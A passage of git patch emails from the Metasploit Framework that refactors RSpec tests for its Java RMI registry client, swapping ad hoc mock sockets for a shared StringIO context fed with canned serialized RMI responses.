def msf_io.set_msf_data(data) - class << self - attr_accessor :msf_data - end - self.msf_data = data end @@ -28,17 +31,21 @@ RSpec.shared_context 'Msf::StringIO' do end def msf_io.has_read_data?(_timeout) - false + !eof? end def msf_io.put(_data) seek(0) - if instance_variables.include?(:msf_data) - write(msf_data) + + if msf_data.nil? || msf_data.empty? + length = write(_data) else - write(msf_data) + length = write(msf_data) end + seek(0) + + length end end end From b61a7f43efe262963b49ee3a796dbf5a8cea4966 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 14:25:35 -0600 Subject: [PATCH 1537/2172] Use Msf::StringIO context on registry_spec --- .../remote/java/rmi/client/registry_spec.rb | 318 +++++++----------- 1 file changed, 127 insertions(+), 191 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index ef25deb248..af2c84b9ad 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -4,7 +4,6 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -require 'stringio' RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do let(:name) do @@ -22,65 +21,32 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do mod end - let(:io) { StringIO.new('', 'w+b') } + include_context "Msf::StringIO" describe "#send_registry_list" do context "when there aren't names registered" do - before(:each) do - io.define_singleton_method(:put) do |data| - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + - "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" - ) - seek(0) - end - - io.define_singleton_method(:get_once) { |length=0, timeout=nil| - read - } - - io.define_singleton_method(:has_read_data?) { |timeout=nil| - false - } - end it "returns empty array" do - expect(mod.send_registry_list(sock: io)).to eq([]) + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + + "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" + ) + expect(mod.send_registry_list(sock: msf_io)).to eq([]) end end context "when there are names registered" do - # - # Callbacks - # - - before(:each) do - io.define_singleton_method(:put) do |data| - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + - "\x00\x06\x6a\x6d\x78\x72\x6d\x69" - ) - seek(0) - end - - io.define_singleton_method(:get_once) { |length=0, timeout=nil| - read - } - - io.define_singleton_method(:has_read_data?) { |timeout=0| - false - } - end - it "returns the list of registered names" do - expect(mod.send_registry_list(sock: io)).to eq([name]) + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + + "\x00\x06\x6a\x6d\x78\x72\x6d\x69" + ) + expect(mod.send_registry_list(sock: msf_io)).to eq([name]) end end @@ -88,153 +54,123 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_lookup" do context "when there isn't an interface bound" do - before(:each) do - io.define_singleton_method(:put) do |data| - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + - "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + - "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + - "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + - "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + - "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + - "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + - "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + - "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + - "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + - "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + - "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + - "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + - "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + - "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + - "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + - "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + - "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + - "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + - "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + - "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + - "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + - "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + - "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + - "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + - "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + - "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + - "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + - "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + - "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + - "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + - "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + - "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + - "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + - "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + - "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + - "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + - "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + - "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + - "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + - "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + - "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + - "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + - "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + - "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + - "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + - "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + - "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + - "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + - "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + - "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + - "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + - "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + - "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + - "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + - "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + - "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + - "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + - "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + - "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + - "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + - "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + - "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + - "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + - "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + - "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + - "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + - "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + - "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + - "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + - "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + - "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + - "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + - "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + - "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + - "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" - ) - seek(0) - end - - io.define_singleton_method(:get_once) { |length=0, timeout=nil| - read - } - - io.define_singleton_method(:has_read_data?) { |timeout=nil| - false - } - end - it "raises an Rex::Proto::Rmi::Exception" do - expect { mod.send_registry_lookup(sock: io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception) + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + + "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + + "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + + "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + + "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + + "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + + "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + + "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + + "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + + "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + + "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + + "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + + "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + + "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + + "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + + "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + + "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + + "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + + "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + + "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + + "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + + "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + + "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + + "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + + "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + + "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + + "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + + "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + + "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + + "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + + "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + + "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + + "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + + "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + + "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + + "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + + "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + + "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + + "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + + "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + + "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + + "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + + "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + + "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + + "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + + "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + + "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + + "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + + "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + + "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + + "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + + "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + + "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + + "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + + "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + + "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + + "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + + "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + + "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + + "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + + "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + + "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + + "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + + "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + + "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + + "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + + "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + + "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + + "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + + "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + + "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + + "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + + "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" + ) + expect { mod.send_registry_lookup(sock: msf_io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception) end end context "when there is an interface bound" do - before(:each) do - io.define_singleton_method(:put) do |data| - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + - "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + - "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + - "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + - "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + - "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + - "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + - "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + - "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + - "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + - "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + - "\x84\x49\x80\x01\x01\x78" - ) - seek(0) - end - - io.define_singleton_method(:get_once) { |length=0, timeout=nil| - read - } - - io.define_singleton_method(:has_read_data?) { |timeout=nil| - false - } - end - it "returns the reference information" do - expect(mod.send_registry_lookup(sock: io, name: name)[:object]).to eq(interface_class) + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + + "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + + "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + + "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + + "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + + "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + + "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + + "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + + "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + + "\x84\x49\x80\x01\x01\x78" + ) + expect(mod.send_registry_lookup(sock: msf_io, name: name)[:object]).to eq(interface_class) end end end From 2beb42a7349581a831b046cab876334fe9356025 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 14:28:24 -0600 Subject: [PATCH 1538/2172] Use msf_data attribute --- .../remote/java/rmi/client/jmx/connection_spec.rb | 9 +++------ .../remote/java/rmi/client/jmx/server_spec.rb | 3 +-- .../exploit/remote/java/rmi/client/registry_spec.rb | 12 ++++-------- spec/support/shared/contexts/msf/string_io.rb | 4 ---- 4 files changed, 8 insertions(+), 20 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 203ef93d90..51d3eb79c2 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ 